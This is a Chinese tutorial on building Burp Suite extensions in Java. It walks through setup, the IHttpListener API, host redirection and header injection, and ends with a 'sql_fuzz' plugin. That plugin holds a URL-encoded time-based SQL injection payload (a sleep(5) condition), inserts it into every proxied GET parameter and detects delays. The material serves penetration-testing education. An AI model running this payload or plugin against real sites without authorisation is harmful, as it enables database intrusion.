Burp插件开发(JAVA)
0x00:准备工作
首先需要导出burp插件开发需要的API文件
位置在Extender-->APIs-->Save Javadoc files
导出后,目录如下
使用idea新建一个工程
然后导入burp文件夹
0x01:写一个基础demo
需要在导入的项目中创建一个叫BurpExtender.java的类并Implements IBurpExtender这个类,注意,必须叫这个名字,否则burp会识别不到此插件的存在,我们实现的功能都需要在这个类中实现。
public class BurpExtender implements IBurpExtender{
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
}
}
我们写一个简单的Hello World做测试
import java.io.PrintWriter;
public class BurpExtender implements IBurpExtender{
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// set our extension name
callbacks.setExtensionName("Hello world extension");
// obtain our output and error streams
PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true);
PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true);
// write a message to our output stream
stdout.println("Hello output");
// write a message to our error stream
stderr.println("Hello errors");
// write a message to the Burp alerts tab
callbacks.issueAlert("Hello alerts");
// throw an exception that will appear in our error stream
throw new RuntimeException("Hello exceptions");
}
}
然后导出为jar包
1、点开File文件下的Project Structure,依次选择Artifacts-->+-->jar-->From modules with dependencies
2、选择主函数
.MF文件就是你生成jar包生成的签名信息,第一次生成jar包,会生成相应的.MF签名文件,若第二次再生成jar包,会报错,说已经存在,只需将.MF文件删除即可
3、选择输出的目录这个会自动在当前文件夹下生成,即Output Directory ,点击OK
4、选择Build->Build Project 将项目.java文件编译成.class文件
出现out文件夹说明已经编译成功
5、选择Build->Build Artifacts导出jar包
读条结束后即可找到导出的jar包
尝试burp导入该插件
可见已经导入成功。
0x02:认识api
由于我们使用burp多用抓包改包功能,所以其实就是对burp截获到的数据进行修改再发送,我们要解决的只是如何获取这些数据和如何修改这些数据,至于具体开发什么功能需要自己想了,这些方法都被burp封装到了其自带的api中,极大的便利了我们开发。
IBurpExtender接口:
该接口只有一个方法registerExtenderCallbacks 在该方法中实现我们的功能 当插件被加载后 burp插件通过这个回调方法调用我们实现的功能代码
callback.setExtensionName()方法用于设置插件名称
IHttpListener接口:
1、IHttpListener接口主要用于监听经过burp的http数据流,包括请求数据及响应数据。我们在插件开发中注册IHttpListener接口后,当请求数据经过burp 的各个模块(如proxy、intruder、scanner、repeater)时,我们可以拦截并修改请求数据中的host、port、protocol、请求头、请求数据包(body)后再发送出数据;同时我们也可以拦截响应数据,对它进行解密或者加密操作后,再返回响应数据。
2、IHttpListener接口包含的函数processHttpMessage,我们implements接口IHttpListener后,在processHttpMessage函数中去实现具体功能。
3、public void processHttpMessage(int toolFlag,boolean messageIsRequest,IHttpRequestResponse messageInfo),processHttpMessage包含三个参数toolFlag、messageIsRequest、messageInfo。
4、toolFlag用于标识函数功能作用于哪个模块,其中包含有以下模块,如下所示:
5、messageIsRequest用于判断当前数据流量是 请求数据(Request)或者是 响应数据(Response),当messageIsRequest为true是请求数据(R equest),messageIsRequest为false是响应数据(Response)。
6、messageInfo为IHttpRequestResponse接口的实例,可以通过messageInfo获取流量数据(包括请求数据及响应数据)的详细信息(包括请求的host、port、protocol、header(请求头)、body(请求包体)等)
7、IHttpRequestResponse接口包含的函数,如下所示:
8、其中可以通过getHttpService()得到一个http信息包括(host、port、protocol)、通过getRequest()得到请求数据的完整信息、通过getResponse()得到响应数据的完整信息。
0x03:一些实例
1、修改host(m.baidu.com修改为pureqh.top),将请求数据重定向发送到其他主机.
import java.io.PrintWriter;
public class BurpExtender implements IBurpExtender,IHttpListener{
private static final String HOST_FROM = "www.baidu.com"; //原主机
private static final String HOST_TO = "pureqh.top";//重定向的主机
private PrintWriter stdout;
private IExtensionHelpers helpers;
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {
// TODO Auto-generated method stub
if(messageIsRequest) {//判断请求是 请求数据 则替换host 重定向 host
//获取一个httpService包含host、port、protocol
IHttpService httpService = messageInfo.getHttpService();
//打印原host
stdout.println("orig host is: " + httpService.getHost());
//判断原host是不是m.baidu.com,如果是则替换host
if(HOST_FROM.equalsIgnoreCase(httpService.getHost())) {
//使用helpers.buildHttpService新建一个httpService
//新的httpService中host指定为要替换的host chls.pro
//使用messageInfo.setHttpService 将拦截到的messageInfo的
//httpService替换成新建的httpService 完成 host 替换
messageInfo.setHttpService(helpers.buildHttpService(HOST_TO, httpService.getPort(), httpService.getProtocol()));
//重新获取httpService 查看host是否替换成功
httpService = messageInfo.getHttpService();
//打印出替换后的host、port、protocol
stdout.println("host is: " + httpService.getHost() + " "
+ "and port is: " + httpService.getPort() + " "
+ "and protocol is: " + httpService.getProtocol());
}
}
}
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// TODO Auto-generated method stub
helpers = callbacks.getHelpers();
callbacks.setExtensionName("HostDemo");
callbacks.registerHttpListener(this);
stdout = new PrintWriter(callbacks.getStdout(),true);
}
}
这里代码很简单,首先我们获取了每次请求的对象,然后将该对象的host取出来与我们设置好的host进行比对,如果相同,重新创建一个httpService对象发送我们设置好的host头。
可以看到,burp已经将www.baidu.com重定向到pureqh.top
2、添加x-forwarded-for请求头
import java.io.PrintWriter;
import java.util.List;
//implements IHttpListener
public class BurpExtender implements IBurpExtender,IHttpListener{
private IBurpExtenderCallbacks callbacks;
private IExtensionHelpers helpers;
private PrintWriter stdout;
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
// TODO Auto-generated method stub
if(toolFlag == this.callbacks.TOOL_PROXY) {//判断当前监听流量数据的模块是否为PROXY模块
//如果是PROXY模块 则进入下面的数据处理
if(messageIsRequest) { //只在请求数据时添加请求头X-Forwarded-For
try {
//获取一个IRequestInfo接口实例analyIRequestInfo
//analyIRequestInfo中
//包含了 请求数据 的详细信息包括请求数据包体(body)的偏移地址
//请求数据中的请求头(返回List<String>列表)、请求数据的请求方法(GET、POST等)
//请求数据中的请求参数(返回List<IParameter>列表
//请求的URL
//我们在此处获取该实例是为了得到请求数据中的请求头列表
//以及请求数据包体(body)的起始偏移地址
IRequestInfo analyIRequestInfo = helpers.analyzeRequest(messageInfo);
//获取整个请求数据内容
String request = new String(messageInfo.getRequest(),"UTF-8");
//通过上面的analyIRequestInfo得到请求数据包体(body)的起始偏移
int bodyOffset = analyIRequestInfo.getBodyOffset();
//通过起始偏移点得到请求数据包体(body)的内容
byte[] body = request.substring(bodyOffset).getBytes("UTF-8");
//通过上面的analyIRequestInfo得到请求数据的请求头列表
List<String> headers = analyIRequestInfo.getHeaders();//获取http请求头的信息
//生成X-Forwarded-For请求头 包括请求头的key(X-Forwarded-For)及随机生成的IP
String xForwardFor = "X-Forwarded-For: "+ "127.0.0.1";
//在headers请求头列表中添加X-Forwarded-For请求头
headers.add(xForwardFor);
//打印X-Forwarded-For请求头测试
stdout.println(xForwardFor);
//使用我们刚添加进去X-Forwarded-For请求头的请求头列表以及
//上面得到的请求数据包体(body)重新生成一个HttpMessage
//重新构造了请求数据
byte[] newRequest = helpers.buildHttpMessage(headers, body);
//打印出重新构造的请求数据测试
stdout.println(helpers.analyzeRequest(newRequest).getHeaders());
//发送重新构造的请求数据 里面已经包含有我们添加的X-Forward-For
messageInfo.setRequest(newRequest); //设置最终新的请求包 添加xForwardFor 请求头
}catch(Exception e) {
stdout.println(e);
}
}
}
}
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// TODO Auto-generated method stub
helpers = callbacks.getHelpers();
stdout = new PrintWriter(callbacks.getStdout(),true);
callbacks.setExtensionName("Change_X-FORWARD-FOR"); //设置插件名称
callbacks.registerHttpListener(this); //注册HttpListener
}
}
这里其实就是获取原有数据包,添加XFF头后重新发送数据包。
由于使用的是IHttpListener接口,所以在burp界面中看不到已经添加的XFF头,可以在打印日志中看到。
3、操作body
之前几个都是操作http头的,那如何操作body呢,我们可以打印一下analyIRequestInfo中数据包体(body)的内容。
可见,我们输入的post内容都被编码为了十进制ascii码,
由于analyIRequestInfo获取的body是一整块的,并没有区分参数,只是做了一下ascii编码,
这里可以将数组转为字符串,再将字符串转回去数组,进行修改body。
0x04:进阶
1、检测sql注入
GET注入
首先我们需要获取参数,如何获取参数呢,IRequestInfo接口为我们提供了getParameters方法
demo:
//对消息体进行解析,messageInfo是整个HTTP请求和响应消息体的总和,各种HTTP相关信息的获取都来自于它,HTTP流量的修改都是围绕它进行的。
/*****************获取参数**********************/
List<IParameter> paraList = analyzeRequest.getParameters();
//获取参数的方法
//当body是json格式的时候,这个方法也可以正常获取到键值对;但是PARAM_JSON等格式不能通过updateParameter方法来更新。
//如果在url中的参数的值是 key=json格式的字符串 这种形式的时候,getParameters应该是无法获取到最底层的键值对的。
for (IParameter para : paraList){// 循环获取参数,判断类型,进行加密处理后,再构造新的参数,合并到新的请求包中。
String key = para.getName(); //获取参数的名称
String value = para.getValue(); //获取参数的值
int type = para.getType();
stdout.println("参数 key value type: "+key+" "+value+" "+type);
}
发现除了获取参数这一方式外,我们还可以直接修改等于号后的内容,
那么,url在哪里呢,之前说过整个http头都是被封装在List中的,所以我们可以逐行获取List中的值,遍历一下List。
for (int i=0;i<headers.size();i++){
stdout.println(headers.get(i));
}
发现其实list中的内容正是每一行的http头。
这样我们就可以直接获取list的第一行,直接修改等于号后的内容,最后拼接url和list即可,由于get需要url编码一下,要不然可能报错,所以代码如下:
headers.set(0,headers.get(0).replaceAll("\\=(.*?)+[&|\\s+]",sql));
byte[] newRequest = helpers.buildHttpMessage(headers, body);
stdout.println(helpers.analyzeRequest(newRequest).getHeaders());
//发送重新构造的请求数据 里面已经包含有我们添加的sql payload
messageInfo.setRequest(newRequest);
试一下结果:
发现http头内的url已经被我们成功修改。
那如何获得返回包呢,上面的if(messageIsRequest)用来获取请求包,else则用来获取响应包,
demo:
即可输出响应内容
那么如何判断是否存在注入呢,用时间差比对即可。
完整代码
import java.io.PrintWriter;
import java.util.List;
//implements IHttpListener
public class BurpExtender implements IBurpExtender,IHttpListener{
private IBurpExtenderCallbacks callbacks;
private IExtensionHelpers helpers;
private PrintWriter stdout;
static final int TIMEOUT = 3000;
long sTime;
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
// TODO Auto-generated method stub
//判断当前监听流量数据的模块是否为PROXY模块
//如果是PROXY模块 则进入下面的数据处理
if(toolFlag == this.callbacks.TOOL_PROXY) {
//只在请求数据时添加请求头X-Forwarded-For
if(messageIsRequest) {
try {
//获取一个IRequestInfo接口实例analyIRequestInfo
//analyIRequestInfo中
//包含了 请求数据 的详细信息包括请求数据包体(body)的偏移地址
//请求数据中的请求头(返回List<String>列表)、请求数据的请求方法(GET、POST等)
//请求数据中的请求参数(返回List<IParameter>列表
//请求的URL
//我们在此处获取该实例是为了得到请求数据中的请求头列表
//以及请求数据包体(body)的起始偏移地址
IRequestInfo analyIRequestInfo = helpers.analyzeRequest(messageInfo);
//获取整个请求数据内容
String request = new String(messageInfo.getRequest(),"UTF-8");
//通过上面的analyIRequestInfo得到请求数据包体(body)的起始偏移
int bodyOffset = analyIRequestInfo.getBodyOffset();
//通过起始偏移点得到请求数据包体(body)的内容
byte[] body = request.substring(bodyOffset).getBytes("UTF-8");
/*for (int i=0; i<body.length;i++){
stdout.println(body[i]);
}*/
//通过上面的analyIRequestInfo得到请求数据的请求头列表
List<String> headers = analyIRequestInfo.getHeaders();//获取http请求头的信息
//发现url在headers第一行
//stdout.println(headers.get(0));
//sql的payload
String sql = "=%31%27%20%61%6e%64%20%73%6c%65%65%70%28%35%29%20%61%6e%64%20%27%31%27%20=%20%27%31%20&";
headers.set(0,headers.get(0).replaceAll("\\=(.*?)+[&|\\s+]",sql));
//使用我们刚添加进去的headers重新生成一个HttpMessage
//重新构造了请求数据
byte[] newRequest = helpers.buildHttpMessage(headers, body);
//打印出重新构造的请求数据测试
stdout.println(helpers.analyzeRequest(newRequest).getHeaders());
//发送重新构造的请求数据 里面已经包含有我们添加的sql payload
messageInfo.setRequest(newRequest);
//用时间差判断是否存在注入
long startTime = System.currentTimeMillis();
sTime = startTime;
}catch(Exception e) {
stdout.println(e);
}
}else{//获取resp
try{
String resp = new String(messageInfo.getResponse(),"UTF-8");
long endTime = System.currentTimeMillis();
//对时间差进行比较,如果大于延时则可能存在注入
if ((endTime - sTime)>TIMEOUT){
stdout.println("Maybe is Inject");
}
}catch (Exception e){
stdout.println(e);
}
}
}
}
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// TODO Auto-generated method stub
helpers = callbacks.getHelpers();
stdout = new PrintWriter(callbacks.getStdout(),true);//将消息写入输出流
callbacks.setExtensionName("sql_fuzz"); //设置插件名称
callbacks.registerHttpListener(this); //注册HttpListener
}
}
来试一试:
当然这只是一个demo demo的意思就是 没卵用 这个插件有很多问题,比如线程是没有锁的,导致发包多的话会不知道哪个存在注入。。。
POST注入
同理,我们只需要将等于号后的字符修改即可。
对于注入来说其实已经有现成的项目了 ,即checkSql,我们直接拿过源码改一下规则就行了 ,